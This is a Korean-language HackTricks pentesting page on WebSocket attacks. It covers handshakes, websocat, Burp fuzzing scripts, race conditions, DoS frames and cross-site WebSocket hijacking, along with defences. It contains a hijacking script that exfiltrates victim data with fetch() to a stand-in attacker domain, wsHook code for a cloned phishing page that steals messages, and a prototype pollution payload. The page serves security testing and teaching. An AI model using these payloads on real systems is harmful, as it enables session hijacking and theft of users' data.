20 KiB
WebSocket 공격
{{#include ../banners/hacktricks-training.md}}
WebSocket란 무엇인가
WebSocket 연결은 초기 HTTP 핸드셰이크를 통해 설정되며 장기간 유지되도록 설계되어 트랜잭션 시스템 없이도 언제든 양방향 메시징이 가능합니다. 이로 인해 WebSocket은 실시간 금융 데이터 스트림과 같이 저지연 또는 서버-발신 통신이 필요한 애플리케이션에 특히 유리합니다.
WebSocket 연결 설정
WebSocket 연결 수립에 대한 자세한 설명은 here에서 확인할 수 있습니다. 요약하면, WebSocket 연결은 일반적으로 아래와 같이 클라이언트 측 JavaScript를 통해 시작됩니다:
var ws = new WebSocket("wss://normal-website.com/ws")
wss
프로토콜은 TLS로 보호되는 WebSocket 연결을 의미하며, ws
는 보안되지 않은 연결을 나타냅니다.
연결을 설정할 때 브라우저와 서버는 HTTP를 통해 핸드셰이크를 수행합니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 과정으로, 다음 예시에 설명되어 있습니다:
브라우저가 핸드셰이크 요청을 보냅니다:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
서버의 핸드셰이크 응답:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
연결이 수립되면 양방향으로 메시지를 교환하기 위해 연결이 열린 상태로 유지됩니다.
WebSocket Handshake의 핵심 포인트:
Connection
및Upgrade
헤더는 WebSocket handshake의 시작을 알립니다.Sec-WebSocket-Version
헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로13
입니다.Sec-WebSocket-Key
헤더에는 Base64로 인코딩된 무작위 값이 전송되어 각 handshake가 고유하도록 합니다. 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움을 줍니다. 이 값은 인증용이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성된 것이 아님을 확인하기 위한 것입니다.- 서버 응답의
Sec-WebSocket-Accept
헤더는Sec-WebSocket-Key
의 해시로, 서버가 WebSocket 연결을 열 의도가 있음을 검증합니다.
이러한 특징들은 handshake 과정이 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 가능하게 합니다.
Linux 콘솔
websocat
을 사용해 websocket과의 원시 연결을 수립할 수 있습니다.
websocat --insecure wss://10.10.10.10:8000 -v
또는 websocat 서버를 생성하려면:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket 연결
현재 로컬 네트워크에서 클라이언트가 HTTP websocket에 연결되어 있는 것을 발견하면 ARP Spoofing Attack 을 시도하여 클라이언트와 서버 사이에 MitM 공격을 수행할 수 있습니다.\ 클라이언트가 연결을 시도하면 다음을 사용할 수 있습니다:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets 열거
You can use the tool https://github.com/PalindromeLabs/STEWS 를 사용하여 websockets에서 알려진 취약점을 자동으로 발견, fingerprint 및 검색할 수 있습니다.
Websocket Debug tools
- Burp Suite는 일반 HTTP 통신과 매우 유사한 방식으로 MitM websockets 통신을 지원합니다.
- The socketsleuth Burp Suite extension은 Burp에서 Websocket 통신을 더 잘 관리할 수 있게 해 주며, history를 확인하고 interception rules를 설정하며 match and replace 규칙을 적용하고 Intruder와 AutoRepeater를 사용할 수 있게 합니다.
- WSSiP: 약칭 "WebSocket/Socket.io Proxy"인 이 도구는 Node.js로 작성되었으며 사용자 인터페이스를 제공하여 capture, intercept, send custom 메시지를 전송하고 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 볼 수 있게 합니다.
- wsrepl 은 penetration testing을 위해 특별히 설계된 interactive websocket REPL입니다. 이 도구는 incoming websocket messages and sending new ones를 관찰하고 전송할 수 있는 인터페이스를 제공하며, 이 통신을 automating하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
- https://websocketking.com/ 은 다른 웹과 통신하기 위한 웹 인터페이스로 websockets를 사용해 다른 웹과 통신할 수 있습니다.
- https://hoppscotch.io/realtime/websocket 는 여러 통신/프로토콜 중 하나로 websockets를 사용해 다른 웹과 통신할 수 있는 웹 인터페이스를 제공합니다.
Decrypting Websocket
Websocket Lab
In Burp-Suite-Extender-Montoya-Course 에는 websockets를 사용하는 웹을 실행하는 코드가 있으며, this post 에서 설명을 확인할 수 있습니다.
Websocket Fuzzing
The burp extension Backslash Powered Scanner 이제 WebSocket 메시지도 퍼징할 수 있게 합니다. 자세한 내용은 here에서 확인하세요.
WebSocket Turbo Intruder (Burp extension)
PortSwigger's WebSocket Turbo Intruder는 Turbo Intruder–style Python 스크립팅과 고속 퍼징을 WebSockets에 제공합니다. BApp Store 또는 소스에서 설치할 수 있습니다. 두 가지 구성요소를 포함합니다:
- Turbo Intruder: custom engines를 사용해 단일 WS endpoint에 고용량 메시징을 수행합니다.
- HTTP Middleware: 로컬 HTTP endpoint를 노출하여 바디를 persistent 연결을 통해 WS 메시지로 포워딩하므로, 모든 HTTP 기반 스캐너가 WS 백엔드를 탐색할 수 있게 합니다.
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
단일 메시지가 여러 응답을 유발할 때 노이즈를 줄이기 위해 @MatchRegex(...)
같은 데코레이터를 사용하세요.
HTTP 뒤의 WS 브리지 (HTTP Middleware)
지속적인 WS 연결을 래핑하고 HTTP 본문을 WS 메시지로 전달하여 HTTP scanners로 자동화된 테스트를 수행합니다:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
그런 다음 로컬로 HTTP를 전송합니다; 본문은 WS 메시지로 전달됩니다:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
이 방법으로 WS 백엔드를 제어하면서 “흥미로운” 이벤트(예: SQLi errors, auth bypass, command injection behavior)를 필터링할 수 있습니다.
Socket.IO 처리 (핸드셰이크, 하트비트, 이벤트)
Socket.IO는 WS 위에 자체적인 프레이밍을 추가합니다. 필수 쿼리 매개변수 EIO
(예: EIO=4
)로 이를 감지하세요. Ping (2
)와 Pong (3
)으로 세션을 유지하고 대화를 "40"
으로 시작한 뒤 42["message","hello"]
같은 이벤트를 emit하세요.
Intruder 예시:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP 어댑터 변형:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Socket.IO를 통한 서버 측 prototype pollution 탐지
PortSwigger의 안전한 탐지 기법을 따라, 다음과 같은 payload를 전송해 Express 내부를 오염시켜 보세요:
{"__proto__":{"initialPacket":"Polluted"}}
만약 인사말이나 동작이 변경되면(예: echo에 "Polluted"가 포함되는 경우), 서버 측 프로토타입을 오염시킨 것일 가능성이 큽니다. 영향은 도달 가능한 sinks에 따라 달라지며, Node.js prototype pollution 섹션의 gadgets와 연관지어 보세요. 참고:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
기본 엔진은 한 연결에서 메시지를 배치 처리합니다(처리량은 우수하지만 레이스에는 부적합). THREADED 엔진을 사용해 여러 WS 연결을 생성하고 페이로드를 병렬로 전송하면 논리적 레이스(double‑spend, token reuse, state desync)를 유발할 수 있습니다. 예제 스크립트에서 시작해 config()
의 동시성 설정을 조정하세요.
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
헤더에 거대한 페이로드 길이를 선언하지만 본문은 전송하지 않는 WS 프레임을 제작하세요. 일부 WS 서버는 길이를 신뢰하고 버퍼를 미리 할당하므로 Integer.MAX_VALUE
에 가깝게 설정하면 Out‑Of‑Memory를 일으켜 원격 unauth DoS를 유발할 수 있습니다. 예제 스크립트를 참조하세요.
CLI 및 디버깅
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- 내부 ID를 사용해 메시지를 캡처하고 연관시키려면 WS Logger를 활성화하세요.
- 복잡한 어댑터에서 메시지 ID 처리를 조정하려면
Connection
의inc*
/dec*
헬퍼를 사용하세요. @PingPong
/@Pong
같은 데코레이터와isInteresting()
같은 헬퍼는 노이즈를 줄이고 세션을 유지하는 데 도움됩니다.
운영 안전성
고속 WS fuzzing은 많은 연결을 열고 초당 수천 개의 메시지를 보낼 수 있습니다. 잘못된 프레임과 높은 전송률은 실제 DoS를 유발할 수 있습니다. 허가된 곳에서만 사용하세요.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, 은 WebSocket 핸드셰이크에 영향을 미치는 **Cross-Site Request Forgery (CSRF)**의 특정 사례로 분류됩니다. 이 취약점은 WebSocket 핸드셰이크가 HTTP cookies만으로 인증하고 CSRF tokens나 유사한 보안 수단을 사용하지 않을 때 발생합니다.
공격자는 취약한 애플리케이션으로 cross-site WebSocket 연결을 시도하는 malicious web page를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션에서 피해자 세션의 일부로 취급되어 세션 처리 메커니즘에서 CSRF 보호가 없는 점을 악용하게 됩니다.
In order for this attack to work, these are the requirements:
- websocket 인증은 cookie 기반이어야 합니다.
- cookie는 공격자의 서버에서 접근 가능해야 합니다(일반적으로 **
SameSite=None
**을 의미). 또한 Firefox에서 Firefox Total Cookie Protection이 활성화되어 있지 않고 Chrome에서 blocked third-party cookies가 차단되어 있지 않아야 합니다. - websocket 서버가 연결의 origin을 검사하지 않거나(또는 이를 우회할 수 있어야 함).
Also:
- If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)
Simple Attack
참고로 websocket 연결을 설정할 때 cookie가 서버로 전송됩니다. 서버는 전송된 cookie를 기반으로 각 특정 사용자의 websocket session을 연관시킬 수 있습니다.
예를 들어 websocket 서버가 "READY"라는 msg가 전송되면 사용자 대화 기록을 반환하는 경우, 연결을 수립하는 간단한 XSS(쿠키가 피해자 사용자를 인증하기 위해 자동으로 전송됨)가 "READY"를 전송하면 대화 기록을 조회할 수 있습니다.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
다른 subdomain에서의 Cross Origin + Cookie
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/에서는 공격자가 웹소켓 통신이 발생하던 도메인의 execute arbitrary Javascript in a subdomain에 성공했습니다. 해당 도메인이 subdomain였기 때문에 cookie가 sent되었고, Websocket didn't check the Origin properly 때문에 통신이 가능해 steal tokens from it할 수 있었습니다.
사용자로부터 데이터 훔치기
사칭하려는 웹 애플리케이션(예: .html 파일)을 복사한 다음, websocket 통신이 발생하는 스크립트 내부에 다음 코드를 추가하세요:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
이제 https://github.com/skepticfx/wshook에서 wsHook.js
파일을 다운로드하고 웹 파일이 있는 폴더 안에 저장하세요.
웹 애플리케이션을 노출시키고 사용자가 접속하게 하면 websocket을 통해 송수신된 메시지를 훔칠 수 있습니다:
sudo python3 -m http.server 80
CSWSH 보호
CSWSH 공격은 사용자가 악성 페이지에 접속하고 그 페이지가 사용자가 이미 접속한 웹페이지에 websocket 연결을 열어 요청에 사용자의 cookies가 포함되어 사용자인 것처럼 인증되게 한다는 점에 기반합니다.
요즘에는 이 문제를 방지하기가 매우 쉽습니다:
- Websocket server checking the origin: websocket 서버는 항상 연결하는 출처(origin)를 확인하여 예상치 못한 페이지가 연결되는 것을 방지해야 합니다.
- Authentication token: 인증을 cookie에 기반하지 않고, websocket 연결을 서버가 사용자용으로 생성하고 공격자가 모르는 token(예: anti-CSRF token)에 기반하도록 할 수 있습니다.
- SameSite Cookie attribute:
SameSite
값이Lax
또는Strict
인 cookies는 외부 공격자 페이지에서 피해 서버로 전송되지 않으므로 cookie 기반 인증은 성공하지 않습니다. Chrome은 이제 이 플래그가 지정되지 않은 쿠키에 기본적으로Lax
값을 설정하여 기본적으로 더 안전하게 만듭니다. 다만 쿠키가 생성된 처음 2분 동안은 값이 **None
**이 되어 그 제한된 기간 동안 취약해지며(또한 이 조치가 언젠가 제거될 것으로 예상됩니다). - Firefox Total Cookie Protection: Total Cookie Protection은 쿠키를 생성된 사이트에 격리시켜 동작합니다. 본질적으로 각 사이트는 제3자가 사용자의 브라우징 기록을 연결하지 못하도록 자체 cookie 저장 파티션을 가지게 됩니다. 이로 인해 공격자 사이트는 cookies에 접근할 수 없어 CSWSH 사용이 불가능해집니다.
- Chrome third-party cookies block: Chrome의 third-party cookies 차단은
SameSite=None
인 경우에도 인증된 사용자의 cookie가 websocket 서버로 전송되는 것을 방지할 수 있습니다.
Race Conditions
WebSockets에서의 Race Conditions도 존재합니다. 자세한 내용은 여기를 확인하세요.
기타 취약점
Web Sockets는 서버와 클라이언트 양쪽으로 데이터를 전송하는 메커니즘이므로, 서버·클라이언트가 정보를 처리하는 방식에 따라 Web Sockets를 통해 websocket으로부터 전달되는 사용자 입력을 이용해 XSS, SQLi 등 기타 일반적인 웹 취약점을 악용할 수 있습니다.
WebSocket Smuggling
이 취약점은 reverse proxies 제한을 우회하도록 만들어 (실제로 그렇지 않더라도) websocket 통신이 성립된 것으로 믿게 할 수 있습니다. 이는 공격자가 숨겨진 엔드포인트에 접근할 수 있게 할 수 있습니다. 자세한 내용은 다음 페이지를 확인하세요:
{{#ref}} h2c-smuggling.md {{#endref}}
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
{{#include ../banners/hacktricks-training.md}}